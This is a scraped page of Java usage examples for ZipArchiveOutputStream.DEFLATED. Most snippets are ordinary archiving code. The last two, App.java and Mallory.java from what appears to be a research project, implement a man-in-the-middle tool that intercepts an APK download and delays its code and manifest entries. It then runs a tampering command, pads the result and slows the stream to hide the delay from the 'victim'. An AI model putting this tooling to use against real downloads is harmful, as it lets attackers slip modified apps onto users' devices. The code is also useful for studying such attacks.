Example usage for org.apache.commons.compress.archivers.zip ZipArchiveOutputStream DEFLATED

List of usage examples for org.apache.commons.compress.archivers.zip ZipArchiveOutputStream DEFLATED

Introduction

In this page you can find the example usage for org.apache.commons.compress.archivers.zip ZipArchiveOutputStream DEFLATED.

Prototype

int DEFLATED

To view the source code for org.apache.commons.compress.archivers.zip ZipArchiveOutputStream DEFLATED.

Click Source Link

Document

Compression method for deflated entries.

Usage

From source file:cz.muni.fi.xklinec.zipstream.App.java

/**
 * Entry point. //from w  ww.ja  v a  2s .c o m
 * 
 * @param args
 * @throws FileNotFoundException
 * @throws IOException
 * @throws NoSuchFieldException
 * @throws ClassNotFoundException
 * @throws NoSuchMethodException 
 */
public static void main(String[] args) throws FileNotFoundException, IOException, NoSuchFieldException,
        ClassNotFoundException, NoSuchMethodException, InterruptedException {
    OutputStream fos = null;
    InputStream fis = null;

    if ((args.length != 0 && args.length != 2)) {
        System.err.println(String.format("Usage: app.jar source.apk dest.apk"));
        return;
    } else if (args.length == 2) {
        System.err.println(
                String.format("Will use file [%s] as input file and [%s] as output file", args[0], args[1]));
        fis = new FileInputStream(args[0]);
        fos = new FileOutputStream(args[1]);
    } else if (args.length == 0) {
        System.err.println(String.format("Will use file [STDIN] as input file and [STDOUT] as output file"));
        fis = System.in;
        fos = System.out;
    }

    final Deflater def = new Deflater(9, true);
    ZipArchiveInputStream zip = new ZipArchiveInputStream(fis);

    // List of postponed entries for further "processing".
    List<PostponedEntry> peList = new ArrayList<PostponedEntry>(6);

    // Output stream
    ZipArchiveOutputStream zop = new ZipArchiveOutputStream(fos);
    zop.setLevel(9);

    // Read the archive
    ZipArchiveEntry ze = zip.getNextZipEntry();
    while (ze != null) {

        ZipExtraField[] extra = ze.getExtraFields(true);
        byte[] lextra = ze.getLocalFileDataExtra();
        UnparseableExtraFieldData uextra = ze.getUnparseableExtraFieldData();
        byte[] uextrab = uextra != null ? uextra.getLocalFileDataData() : null;

        // ZipArchiveOutputStream.DEFLATED
        // 

        // Data for entry
        byte[] byteData = Utils.readAll(zip);
        byte[] deflData = new byte[0];
        int infl = byteData.length;
        int defl = 0;

        // If method is deflated, get the raw data (compress again).
        if (ze.getMethod() == ZipArchiveOutputStream.DEFLATED) {
            def.reset();
            def.setInput(byteData);
            def.finish();

            byte[] deflDataTmp = new byte[byteData.length * 2];
            defl = def.deflate(deflDataTmp);

            deflData = new byte[defl];
            System.arraycopy(deflDataTmp, 0, deflData, 0, defl);
        }

        System.err.println(String.format(
                "ZipEntry: meth=%d " + "size=%010d isDir=%5s " + "compressed=%07d extra=%d lextra=%d uextra=%d "
                        + "comment=[%s] " + "dataDesc=%s " + "UTF8=%s " + "infl=%07d defl=%07d " + "name [%s]",
                ze.getMethod(), ze.getSize(), ze.isDirectory(), ze.getCompressedSize(),
                extra != null ? extra.length : -1, lextra != null ? lextra.length : -1,
                uextrab != null ? uextrab.length : -1, ze.getComment(),
                ze.getGeneralPurposeBit().usesDataDescriptor(), ze.getGeneralPurposeBit().usesUTF8ForNames(),
                infl, defl, ze.getName()));

        final String curName = ze.getName();

        // META-INF files should be always on the end of the archive, 
        // thus add postponed files right before them
        if (curName.startsWith("META-INF") && peList.size() > 0) {
            System.err.println(
                    "Now is the time to put things back, but at first, I'll perform some \"facelifting\"...");

            // Simulate som evil being done
            Thread.sleep(5000);

            System.err.println("OK its done, let's do this.");
            for (PostponedEntry pe : peList) {
                System.err.println(
                        "Adding postponed entry at the end of the archive! deflSize=" + pe.deflData.length
                                + "; inflSize=" + pe.byteData.length + "; meth: " + pe.ze.getMethod());

                pe.dump(zop, false);
            }

            peList.clear();
        }

        // Capturing interesting files for us and store for later.
        // If the file is not interesting, send directly to the stream.
        if ("classes.dex".equalsIgnoreCase(curName) || "AndroidManifest.xml".equalsIgnoreCase(curName)) {
            System.err.println("### Interesting file, postpone sending!!!");

            PostponedEntry pe = new PostponedEntry(ze, byteData, deflData);
            peList.add(pe);
        } else {
            // Write ZIP entry to the archive
            zop.putArchiveEntry(ze);
            // Add file data to the stream
            zop.write(byteData, 0, infl);
            zop.closeArchiveEntry();
        }

        ze = zip.getNextZipEntry();
    }

    // Cleaning up stuff
    zip.close();
    fis.close();

    zop.finish();
    zop.close();
    fos.close();

    System.err.println("THE END!");
}

From source file:com.haulmont.cuba.core.sys.logging.LogArchiver.java

public static void writeArchivedLogTailToStream(File logFile, OutputStream outputStream) throws IOException {
    if (!logFile.exists()) {
        throw new FileNotFoundException();
    }/*w  w w .  j av a2 s .  c  om*/

    ZipArchiveOutputStream zipOutputStream = new ZipArchiveOutputStream(outputStream);
    zipOutputStream.setMethod(ZipArchiveOutputStream.DEFLATED);
    zipOutputStream.setEncoding(ZIP_ENCODING);

    byte[] content = getTailBytes(logFile);

    ArchiveEntry archiveEntry = newTailArchive(logFile.getName(), content);
    zipOutputStream.putArchiveEntry(archiveEntry);
    zipOutputStream.write(content);

    zipOutputStream.closeArchiveEntry();
    zipOutputStream.close();
}

From source file:com.haulmont.cuba.core.sys.logging.LogArchiver.java

public static void writeArchivedLogToStream(File logFile, OutputStream outputStream) throws IOException {
    if (!logFile.exists()) {
        throw new FileNotFoundException();
    }//from  w w w.  jav a 2 s .c  om

    File tempFile = File.createTempFile(FilenameUtils.getBaseName(logFile.getName()) + "_log_", ".zip");

    ZipArchiveOutputStream zipOutputStream = new ZipArchiveOutputStream(tempFile);
    zipOutputStream.setMethod(ZipArchiveOutputStream.DEFLATED);
    zipOutputStream.setEncoding(ZIP_ENCODING);

    ArchiveEntry archiveEntry = newArchive(logFile);
    zipOutputStream.putArchiveEntry(archiveEntry);

    FileInputStream logFileInput = new FileInputStream(logFile);
    IOUtils.copyLarge(logFileInput, zipOutputStream);

    logFileInput.close();

    zipOutputStream.closeArchiveEntry();
    zipOutputStream.close();

    FileInputStream tempFileInput = new FileInputStream(tempFile);
    IOUtils.copyLarge(tempFileInput, outputStream);

    tempFileInput.close();

    FileUtils.deleteQuietly(tempFile);
}

From source file:es.ucm.fdi.util.archive.ZipFormat.java

public void create(ArrayList<File> sources, File destFile, File baseDir) throws IOException {

    // to avoid modifying input argument
    ArrayList<File> toAdd = new ArrayList<>(sources);
    ZipArchiveOutputStream zos = null;//w  w  w.j a v a 2  s  . co m

    try {
        zos = new ZipArchiveOutputStream(new FileOutputStream(destFile));
        zos.setMethod(ZipArchiveOutputStream.DEFLATED);
        byte[] b = new byte[1024];

        //log.debug("Creating zip file: "+ficheroZip.getName());
        for (int i = 0; i < toAdd.size(); i++) {
            // note: cannot use foreach because sources gets modified
            File file = toAdd.get(i);

            // zip standard uses fw slashes instead of backslashes, always
            String baseName = baseDir.getAbsolutePath() + '/';
            String fileName = file.getAbsolutePath().substring(baseName.length());
            if (file.isDirectory()) {
                fileName += '/';
            }
            ZipArchiveEntry entry = new ZipArchiveEntry(fileName);

            // skip directories - after assuring that their children *will* be included.
            if (file.isDirectory()) {
                //log.debug("\tAdding dir "+fileName);
                for (File child : file.listFiles()) {
                    toAdd.add(child);
                }
                zos.putArchiveEntry(entry);
                continue;
            }

            //log.debug("\tAdding file "+fileName);

            // Add the zip entry and associated data.
            zos.putArchiveEntry(entry);

            int n;
            try (FileInputStream fis = new FileInputStream(file)) {
                while ((n = fis.read(b)) > -1) {
                    zos.write(b, 0, n);
                }
                zos.closeArchiveEntry();
            }
        }
    } finally {
        if (zos != null) {
            zos.finish();
            zos.close();
        }
    }
}

From source file:com.atolcd.web.scripts.ZipContents.java

public void createZipFile(List<String> nodeIds, OutputStream os, boolean noaccent) throws IOException {
    File zip = null;/*from   ww  w .  jav  a  2 s.  c om*/

    try {
        if (nodeIds != null && !nodeIds.isEmpty()) {
            zip = TempFileProvider.createTempFile(TEMP_FILE_PREFIX, ZIP_EXTENSION);
            FileOutputStream stream = new FileOutputStream(zip);
            CheckedOutputStream checksum = new CheckedOutputStream(stream, new Adler32());
            BufferedOutputStream buff = new BufferedOutputStream(checksum);
            ZipArchiveOutputStream out = new ZipArchiveOutputStream(buff);
            out.setEncoding(encoding);
            out.setMethod(ZipArchiveOutputStream.DEFLATED);
            out.setLevel(Deflater.BEST_COMPRESSION);

            if (logger.isDebugEnabled()) {
                logger.debug("Using encoding '" + encoding + "' for zip file.");
            }

            try {
                for (String nodeId : nodeIds) {
                    NodeRef node = new NodeRef(storeRef, nodeId);
                    addToZip(node, out, noaccent, "");
                }
            } catch (Exception e) {
                logger.error(e.getMessage(), e);
                throw new WebScriptException(HttpServletResponse.SC_BAD_REQUEST, e.getMessage());
            } finally {
                out.close();
                buff.close();
                checksum.close();
                stream.close();

                if (nodeIds.size() > 0) {
                    InputStream in = new FileInputStream(zip);
                    try {
                        byte[] buffer = new byte[BUFFER_SIZE];
                        int len;

                        while ((len = in.read(buffer)) > 0) {
                            os.write(buffer, 0, len);
                        }
                    } finally {
                        IOUtils.closeQuietly(in);
                    }
                }
            }
        }
    } catch (Exception e) {
        logger.error(e.getMessage(), e);
        throw new WebScriptException(HttpServletResponse.SC_BAD_REQUEST, e.getMessage());
    } finally {
        // try and delete the temporary file
        if (zip != null) {
            zip.delete();
        }
    }
}

From source file:com.naryx.tagfusion.cfm.tag.io.cfZIP.java

protected void defaultParameters(String _tag) throws cfmBadFileException {
    defaultAttribute("RECURSE", "true");
    defaultAttribute("COMPRESSIONLEVEL", ZipArchiveOutputStream.DEFLATED);
    defaultAttribute("PREFIX", "");
    defaultAttribute("OVERWRITE", "true");
    defaultAttribute("FLATTEN", "false");
    defaultAttribute("CHARSET", System.getProperty("file.encoding"));

    parseTagHeader(_tag);/*  ww  w . j a v a 2 s. c  om*/

    if (containsAttribute("ATTRIBUTECOLLECTION"))
        return;

    if (!containsAttribute("ACTION"))
        throw newBadFileException("Missing ACTION",
                "You need to specify a ACTION - valid actions are CREATE/ZIP, LIST or EXTRACT/UNZIP");

    if (!containsAttribute("ZIPFILE") && !containsAttribute("FILE"))
        throw newBadFileException("Missing ZIPFILE/FILE", "You need to specify a ZIPFILE/FILE");

}

From source file:es.ucm.fdi.util.archive.ZipFormat.java

/**
 * Simulates creation of a zip file, but returns only the size of the zip
 * that results from the given input stream
 *///from ww w .  j av a2 s.  c  o m
public int compressedSize(InputStream is) throws IOException {
    try (ByteArrayOutputStream bos = new ByteArrayOutputStream();
            ZipArchiveOutputStream zout = new ZipArchiveOutputStream(bos);) {
        zout.setMethod(ZipArchiveOutputStream.DEFLATED);
        ZipArchiveEntry entry = new ZipArchiveEntry("z");
        zout.putArchiveEntry(entry);
        int n;
        byte[] bytes = new byte[1024];
        while ((n = is.read(bytes)) > -1) {
            zout.write(bytes, 0, n);
        }
        is.close();
        zout.closeArchiveEntry();
        zout.finish();
        return bos.size();
    }
}

From source file:com.naryx.tagfusion.expression.function.file.Zip.java

public cfData execute(cfSession session, cfArgStructData argStruct, List<cfZipItem> zipItems)
        throws cfmRunTimeException {

    String destStr = getNamedStringParam(argStruct, "zipfile", null);
    if (destStr.length() == 0 || destStr == null) {
        throwException(session, "Missing the ZIPFILE argument or is an empty string.");
    }//from w  w w.j  av  a2s  .  co m

    String sourceStr = getNamedStringParam(argStruct, "source", null);
    File src = null;
    if (sourceStr != null) {
        if (sourceStr.length() == 0) {
            throwException(session, "SOURCE specified is an empty string. It is not a valid path.");
        } else {
            src = new File(sourceStr);
            // Check if src is a valid file/directory
            checkZipfile(session, src);
        }
    }

    boolean recurse = getNamedBooleanParam(argStruct, "recurse", true);
    String prefixStr = getNamedStringParam(argStruct, "prefix", "");
    String prefix = prefixStr.replace('\\', '/');
    if (prefix.length() != 0 && !prefix.endsWith("/")) {
        prefix = prefix + "/";
    }

    String newpath = getNamedStringParam(argStruct, "newpath", null);
    if (newpath != null) {
        if (newpath.length() == 0) {
            throwException(session, "NEWPATH specified is an empty string. It is not a valid path.");
        }
    }
    boolean overwrite = getNamedBooleanParam(argStruct, "overwrite", false);

    int compressionLevel = getNamedIntParam(argStruct, "compressionlevel", ZipArchiveOutputStream.DEFLATED);

    if (compressionLevel < 0 || compressionLevel > 9) {
        throwException(session,
                "Invalid COMPRESSIONLEVEL specified. Please specify a number from 0-9 (inclusive).");
    }

    String filterStr = getNamedStringParam(argStruct, "filter", null);
    FilenameFilter filter = null;
    if (filterStr != null) {
        filter = new filePatternFilter(filterStr, true);
    }

    String charset = getNamedStringParam(argStruct, "charset", System.getProperty("file.encoding"));

    // Destination file
    File zipfile = new File(destStr);

    // OVERWRITE
    if (zipfile.exists() && overwrite) {
        zipfile.delete();
    } else if (zipfile.exists() && !overwrite) {
        throwException(session, "Cannot overwrite the existing file");
    }

    ZipArchiveOutputStream zipOut = null;
    FileOutputStream fout = null;

    File parent = zipfile.getParentFile();

    if (parent != null) { // create parent directories if required
        parent.mkdirs();
    }

    try {
        fout = new FileOutputStream(zipfile);

    } catch (IOException e) {
        throwException(session,
                "Failed to create zip file: [" + zipfile.getAbsolutePath() + "]. Reason: " + e.getMessage());
    }
    try {
        zipOut = new ZipArchiveOutputStream(fout);
        zipOut.setEncoding(charset);
        zipOut.setFallbackToUTF8(true);
        zipOut.setUseLanguageEncodingFlag(true);
        zipOut.setCreateUnicodeExtraFields(ZipArchiveOutputStream.UnicodeExtraFieldPolicy.ALWAYS);

        // Code for Zipparams
        if (zipItems != null) {
            Iterator<cfZipItem> srcItems = zipItems.iterator();
            cfZipItem nextItem;
            while (srcItems.hasNext()) {
                nextItem = srcItems.next();
                zipOperation(session, zipOut, nextItem.getFile(), nextItem.getRecurse(), nextItem.getPrefix(),
                        compressionLevel, nextItem.getFilter(), nextItem.getNewPath());
            }
        }

        // Code for function without zippparams
        zipOperation(session, zipOut, src, recurse, prefix, compressionLevel, filter, newpath);

    } finally {
        StreamUtil.closeStream(zipOut);
        StreamUtil.closeStream(fout);
    }

    return cfBooleanData.TRUE;

}

From source file:fr.itldev.koya.alfservice.KoyaContentService.java

/**
 *
 * @param nodeRefs// www  . j a  va  2 s. com
 * @return
 * @throws KoyaServiceException
 */
public File zip(List<String> nodeRefs) throws KoyaServiceException {
    File tmpZipFile = null;
    try {
        tmpZipFile = TempFileProvider.createTempFile("tmpDL", ".zip");
        FileOutputStream fos = new FileOutputStream(tmpZipFile);
        CheckedOutputStream checksum = new CheckedOutputStream(fos, new Adler32());
        BufferedOutputStream buff = new BufferedOutputStream(checksum);
        ZipArchiveOutputStream zipStream = new ZipArchiveOutputStream(buff);
        // NOTE: This encoding allows us to workaround bug...
        // http://bugs.sun.com/bugdatabase/view_bug.do;:WuuT?bug_id=4820807
        zipStream.setEncoding("UTF-8");

        zipStream.setMethod(ZipArchiveOutputStream.DEFLATED);
        zipStream.setLevel(Deflater.BEST_COMPRESSION);

        zipStream.setCreateUnicodeExtraFields(ZipArchiveOutputStream.UnicodeExtraFieldPolicy.ALWAYS);
        zipStream.setUseLanguageEncodingFlag(true);
        zipStream.setFallbackToUTF8(true);

        try {
            for (String nodeRef : nodeRefs) {
                addToZip(koyaNodeService.getNodeRef(nodeRef), zipStream, "");
            }
        } catch (IOException e) {
            logger.error(e.getMessage(), e);
            throw new WebScriptException(HttpServletResponse.SC_BAD_REQUEST, e.getMessage());
        } finally {
            zipStream.close();
            buff.close();
            checksum.close();
            fos.close();

        }
    } catch (IOException | WebScriptException e) {
        logger.error(e.getMessage(), e);
        throw new WebScriptException(HttpServletResponse.SC_BAD_REQUEST, e.getMessage());
    }

    return tmpZipFile;
}

From source file:cz.muni.fi.xklinec.zipstream.Mallory.java

/**
 * Entry point. /*from   w ww.j av a 2  s . c o m*/
 * 
 * @param args
 * @throws FileNotFoundException
 * @throws IOException
 * @throws NoSuchFieldException
 * @throws ClassNotFoundException
 * @throws NoSuchMethodException 
 * @throws java.lang.InterruptedException 
 * @throws java.lang.CloneNotSupportedException 
 */
public void doMain(String[] args) throws FileNotFoundException, IOException, NoSuchFieldException,
        ClassNotFoundException, NoSuchMethodException, InterruptedException, CloneNotSupportedException {
    // command line argument parser
    CmdLineParser parser = new CmdLineParser(this);

    // if you have a wider console, you could increase the value;
    // here 80 is also the default
    parser.setUsageWidth(80);
    try {
        // parse the arguments.
        parser.parseArgument(args);
    } catch (CmdLineException e) {
        // if there's a problem in the command line,
        // you'll get this exception. this will report
        // an error message.
        System.err.println(e.getMessage());
        System.err.println("java Mallory [options...] arguments...");
        // print the list of available options
        parser.printUsage(System.err);
        System.err.println();

        // print option sample. This is useful some time
        System.err.println(" Example: java Mallory " + parser.printExample(ExampleMode.ALL));
        return;
    }

    if (arguments.size() == 2) {
        final String a0 = arguments.get(0);
        final String a1 = arguments.get(1);

        if (!quiet)
            System.err
                    .println(String.format("Will use file [%s] as input file and [%s] as output file", a0, a1));
        fis = new FileInputStream(a0);
        fos = new FileOutputStream(a1);
    } else if (arguments.isEmpty()) {
        if (!quiet)
            System.err
                    .println(String.format("Will use file [STDIN] as input file and [STDOUT] as output file"));
        fis = System.in;
        fos = System.out;
    } else {
        if (!quiet)
            System.err.println("I do not understand the usage.");
        return;
    }

    if (zipAlign) {
        System.err.println("WARNING: ZIP Align feature not implemented yet...");
        return;
    }

    // Deflater to re-compress uncompressed data read from ZIP stream.
    def = new Deflater(9, true);
    sentFiles = new HashSet<String>();

    // Buffer input stream so input stream is read in chunks
    bis = new BufferedInputStream(fis);
    bos = new BufferedOutputStream(fos);

    // Effective temporary dir - if separate is required
    if (separateTempDir) {
        effectiveTempDir = File.createTempFile("temp_apk_dir_", "", new File(TEMP_DIR));
        effectiveTempDir.delete();
        effectiveTempDir.mkdir();
    } else {
        effectiveTempDir = new File(TEMP_DIR);
    }

    // Generate temporary APK filename
    tempApk = File.createTempFile("temp_apk_", ".apk", effectiveTempDir);
    if (tempApk.canWrite() == false) {
        throw new IOException("Temp file is not writable!");
    }

    FileOutputStream tos = new FileOutputStream(tempApk);

    // What we want here is to read input stream from the socket/pipe 
    // whatever, process it in ZIP logic and simultaneously to copy 
    // all read data to the temporary file - this reminds tee command
    // logic. This functionality can be found in TeeInputStream.
    TeeInputStream tis = new TeeInputStream(bis, tos);

    // Providing tis to ZipArchiveInputStream will copy all read data
    // to temporary tos file.
    zip = new ZipArchiveInputStream(tis);

    // List of all sent files, with data and hashes
    alMap = new HashMap<String, PostponedEntry>();

    // Output stream
    // If there is defined slow down stream, it is used for user output to
    // mitigate tampering time gap.
    OutputStream osToUse = bos;
    SlowDownStream sdStream = null;
    if (slowDownStream) {
        // New slow down output stream with internal pipe buffer 15MB.
        sdStream = new SlowDownStream(osToUse, 15 * 1024 * 1024);

        // If size of the APK is known, use it to set slow down parameters correctly.
        if (apkSize > 0) {
            setSlowDownParams();
        }

        if (!quiet) {
            System.err.println(String.format("Slown down stream will be used; apkSize=%d buffer=%d timeout=%d",
                    apkSize, slowDownBuffer, slowDownTimeout));
        }

        sdStream.setFlushBufferSize(slowDownBuffer);
        sdStream.setFlushBufferTimeout(slowDownTimeout);
        sdStream.start();

        osToUse = sdStream;
    }

    zop = new ZipArchiveOutputStream(osToUse);
    zop.setLevel(9);

    if (!quiet) {
        System.err.println("Patterns that will be excluded:");
        for (String regex : exclude) {
            System.err.println("  '" + regex + "'");
        }
        System.err.println();
    }

    // Read the archive
    ZipArchiveEntry ze = zip.getNextZipEntry();
    while (ze != null) {

        ZipExtraField[] extra = ze.getExtraFields(true);
        byte[] lextra = ze.getLocalFileDataExtra();
        UnparseableExtraFieldData uextra = ze.getUnparseableExtraFieldData();
        byte[] uextrab = uextra != null ? uextra.getLocalFileDataData() : null;
        byte[] ex = ze.getExtra();
        // ZipArchiveOutputStream.DEFLATED
        // 

        // Data for entry
        byte[] byteData = Utils.readAll(zip);
        byte[] deflData = new byte[0];
        int infl = byteData.length;
        int defl = 0;

        // If method is deflated, get the raw data (compress again).
        // Since ZIPStream automatically decompresses deflated files in read().
        if (ze.getMethod() == ZipArchiveOutputStream.DEFLATED) {
            def.reset();
            def.setInput(byteData);
            def.finish();

            byte[] deflDataTmp = new byte[byteData.length * 2];
            defl = def.deflate(deflDataTmp);

            deflData = new byte[defl];
            System.arraycopy(deflDataTmp, 0, deflData, 0, defl);
        }

        if (!quiet)
            System.err.println(String.format(
                    "ZipEntry: meth=%d " + "size=%010d isDir=%5s "
                            + "compressed=%07d extra=%d lextra=%d uextra=%d ex=%d " + "comment=[%s] "
                            + "dataDesc=%s " + "UTF8=%s " + "infl=%07d defl=%07d " + "name [%s]",
                    ze.getMethod(), ze.getSize(), ze.isDirectory(), ze.getCompressedSize(),
                    extra != null ? extra.length : -1, lextra != null ? lextra.length : -1,
                    uextrab != null ? uextrab.length : -1, ex != null ? ex.length : -1, ze.getComment(),
                    ze.getGeneralPurposeBit().usesDataDescriptor(),
                    ze.getGeneralPurposeBit().usesUTF8ForNames(), infl, defl, ze.getName()));

        final String curName = ze.getName();

        // Store zip entry to the map for later check after the APK is recompiled.
        // Hashes will be compared with the modified APK files after the process.
        PostponedEntry al = new PostponedEntry(ze, byteData, deflData);
        alMap.put(curName, al);

        // META-INF files should be always on the end of the archive, 
        // thus add postponed files right before them
        if (isPostponed(ze)) {
            // Capturing interesting files for us and store for later.
            // If the file is not interesting, send directly to the stream.
            if (!quiet)
                System.err.println("  Interesting file, postpone sending!!!");

        } else {
            // recompute CRC?
            if (recomputeCrc) {
                crc.reset();
                crc.update(byteData);
                final long newCrc = crc.getValue();

                if (!quiet && ze.getCrc() != newCrc && ze.getCrc() != -1) {
                    System.err.println("  Warning: file CRC mismatch!!! Original: [" + ze.getCrc() + "] real: ["
                            + newCrc + "]");
                }

                ze.setCrc(newCrc);
            }

            // Write ZIP entry to the archive
            zop.putArchiveEntry(ze);
            // Add file data to the stream
            zop.write(byteData, 0, infl);
            zop.closeArchiveEntry();
            zop.flush();

            // Mark file as sent.
            addSent(curName);
        }

        ze = zip.getNextZipEntry();
    }

    // Flush buffers
    zop.flush();
    fos.flush();

    // Cleaning up stuff, all reading streams can be closed now.
    zip.close();
    bis.close();
    fis.close();
    tis.close();
    tos.close();

    //
    // APK is finished here, all non-interesting files were sent to the 
    // zop strem (socket to the victim). Now APK transformation will
    // be performed, diff, sending rest of the files to zop.
    // 
    boolean doPadding = paddExtra > 0 || outBytes > 0;
    long flen = tempApk.length();
    if (outBytes <= 0) {
        outBytes = flen + paddExtra;
    }

    if (!quiet) {
        System.err.println("\nAPK reading finished, going to tamper downloaded " + " APK file ["
                + tempApk.toString() + "]; filezise=[" + flen + "]");

        System.err.println(String.format("Sent so far: %d kB in %f %% after adding padding it is %f %%",
                zop.getWritten() / 1024, 100.0 * (double) zop.getWritten() / (double) flen,
                100.0 * (double) zop.getWritten() / ((double) (outBytes > 0 ? outBytes : flen))));
    }

    // New APK was generated, new filename = "tempApk_tampered"
    newApk = new File(outFile == null ? getFileName(tempApk.getAbsolutePath()) : outFile);

    if (cmd == null) {
        // Simulation of doing some evil stuff on the temporary apk
        Thread.sleep(3000);

        if (!quiet)
            System.err.println(
                    "Tampered APK file: " + " [" + newApk.toString() + "]; filezise=[" + newApk.length() + "]");

        //
        // Since no tampering was performed right now we will simulate it by just simple
        // copying the APK file 
        //
        FileUtils.copyFile(tempApk, newApk);
    } else {
        try {
            // Execute command
            String cmd2exec;
            switch (cmdFormat) {
            case 0:
                cmd2exec = cmd + " " + tempApk.getAbsolutePath();
                break;
            case 1:
                cmd2exec = cmd.replaceAll(INPUT_APK_PLACEHOLDER, tempApk.getAbsolutePath());
                break;
            case 2:
                cmd2exec = cmd.replaceAll(INPUT_APK_PLACEHOLDER, tempApk.getAbsolutePath());
                cmd2exec = cmd2exec.replaceAll(OUTPUT_APK_PLACEHOLDER, newApk.getAbsolutePath());
                break;
            default:
                throw new IllegalArgumentException("Unknown command format number");
            }

            if (!quiet) {
                System.err.println("Command to be executed: " + cmd2exec);
                System.err.println("\n<CMDOUTPUT>");
            }

            long cmdStartTime = System.currentTimeMillis();
            CmdExecutionResult resExec = execute(cmd2exec, OutputOpt.EXECUTE_STD_COMBINE, null,
                    quiet ? null : System.err);
            long cmdStopTime = System.currentTimeMillis();

            if (!quiet) {
                System.err.println("</CMDOUTPUT>\n");
                System.err.println("Command executed. Return value: " + resExec.exitValue + "; tamperingTime="
                        + (cmdStopTime - cmdStartTime));
            }

        } catch (IOException e) {
            if (!quiet)
                e.printStackTrace(System.err);
        }
    }

    //
    // Now read new APK file with ZipInputStream and push new/modified files to the ZOP.
    //
    fis = new FileInputStream(newApk);
    bis = new BufferedInputStream(fis);
    zip = new ZipArchiveInputStream(bis);

    // Merge tampered APK to the final, but in this first time
    // do it to the external buffer in order to get final apk size.
    // Backup ZOP state to the clonned instance.
    zop.flush();

    long writtenBeforeDiff = zop.getWritten();

    ZipArchiveOutputStream zop_back = zop;
    zop = zop.cloneThis();

    // Set temporary byte array output stream, so original output stream is not
    // touched in this phase.
    ByteArrayOutputStream bbos = new ByteArrayOutputStream();
    zop.setOut(bbos);

    mergeTamperedApk(false, false);
    zop.flush();

    // Now output stream almost contains APK file, central directory is not written yet.
    long writtenAfterDiff = zop.getWritten();

    if (!quiet)
        System.err.println(String.format("Tampered apk size yet; writtenBeforeDiff=%d writtenAfterDiff=%d",
                writtenBeforeDiff, writtenAfterDiff));

    // Write central directory header to temporary buffer to discover its size.
    zop.writeFinish();
    zop.flush();
    bbos.flush();

    // Read new values
    long writtenAfterCentralDir = zop.getWritten();
    long centralDirLen = zop.getCdLength();
    byte[] buffAfterMerge = bbos.toByteArray();
    //int endOfCentralDir = (int) (buffAfterMerge.length - (writtenAfterCentralDir-writtenBeforeDiff));
    long endOfCentralDir = END_OF_CENTRAL_DIR_SIZE;

    // Determine number of bytes to add to APK.
    // padlen is number of bytes missing in APK to meet desired size in bytes.
    padlen = doPadding ? (outBytes - (writtenAfterCentralDir + endOfCentralDir)) : 0;

    // Compute number of files needed for padding.
    int padfiles = (int) Math.ceil((double) padlen / (double) (PAD_BLOCK_MAX));

    if (!quiet)
        System.err.println(String.format("Remaining to pad=%d, padfiles=%d " + "writtenAfterCentralDir=%d "
                + "centralDir=%d endOfCentralDir=%d centralDirOffset=%d " + "buffSize=%d total=%d desired=%d ",
                padlen, padfiles, writtenAfterCentralDir, centralDirLen, endOfCentralDir, zop.getCdOffset(),
                buffAfterMerge.length, writtenAfterCentralDir + endOfCentralDir, outBytes));

    if (padlen < 0) {
        throw new IllegalStateException("Padlen cannot be negative, please increase padding size");
    }

    // Close input streams for tampered APK
    try {
        zip.close();
        bis.close();
        fis.close();
    } catch (Exception e) {
        if (!quiet)
            e.printStackTrace(System.err);
    }

    // Merge again, now with pre-defined padding size.
    fis = new FileInputStream(newApk);
    bis = new BufferedInputStream(fis);
    zip = new ZipArchiveInputStream(bis);
    // Revert changes - use clonned writer stream.
    zop = zop_back;

    long writtenBeforeDiff2 = zop.getWritten();

    // Merge tampered APK, now for real, now with computed padding.
    mergeTamperedApk(true, true);
    zop.flush();

    long writtenAfterMerge2 = zop.getWritten();

    // Finish really        
    zop.finish();
    zop.flush();

    long writtenReally = zop.getWritten();
    long centralDirLen2 = zop.getCdLength();

    if (!quiet)
        System.err.println(String.format(
                "Write stats; " + "writtenBeforeDiff=%d writtenAfterDiff=%d "
                        + "writtenAfterCentralDir=%d centralDir=%d endOfCd=%d centralDirOffset=%d "
                        + "padlen=%d total=%d desired=%d",
                writtenBeforeDiff2, writtenAfterMerge2, writtenReally, centralDirLen2, endOfCentralDir,
                zop.getCdOffset(), padlen, writtenReally + endOfCentralDir, outBytes));

    // Will definitelly close (and finish if not yet) ZOP stream
    // and close underlying stream.
    zop.close();

    if (sdStream != null) {
        if (!quiet) {
            System.err.println("Waiting for sdStream to finish...");
        }

        // Wait for stream to finish dumping with pre-set speed, if it takes
        // too long (1 minute) switch slown down stream to dumping mode 
        // without any waiting.
        long startedDump = System.currentTimeMillis();
        while (sdStream.isRunning()) {
            long curTime = System.currentTimeMillis();
            if (startedDump != -1 && (curTime - startedDump) > 1000 * 120) {
                startedDump = -1;
                sdStream.flushPipes();
            }

            Thread.sleep(10);
        }

        if (!quiet) {
            System.err.println("SD stream finished, terminating...");
        }
    }

    // Should always be same
    if (!quiet && doPadding && writtenBeforeDiff != writtenBeforeDiff2) {
        System.err.println(String.format("Warning! Size before merge from pass1 and pass2 does not match."));
    }

    // If size is different, something went wrong.
    if (!quiet && doPadding && ((writtenReally + endOfCentralDir) != outBytes)) {
        System.err.println(String.format("Warning! Output size differs from desired size."));
    }

    bos.close();
    fos.close();

    // Delete temporary files if required
    if (deleteArtefacts) {
        try {
            if (newApk.exists()) {
                newApk.delete();
                if (!quiet)
                    System.err.println("Tampered APK removed. " + newApk.getAbsolutePath());
            }

            if (tempApk.exists()) {
                tempApk.delete();
                if (!quiet)
                    System.err.println("Original APK removed. " + tempApk.getAbsolutePath());
            }

            if (separateTempDir && effectiveTempDir.exists()) {
                FileUtils.deleteDirectory(effectiveTempDir);
                if (!quiet)
                    System.err.println("Temporary directory removed. " + effectiveTempDir.getAbsolutePath());
            }

            if (!quiet)
                System.err.println("Temporary files were removed.");
        } catch (IOException e) {
            if (!quiet)
                e.printStackTrace(System.err);
        }
    }

    if (!quiet)
        System.err.println("THE END!");
}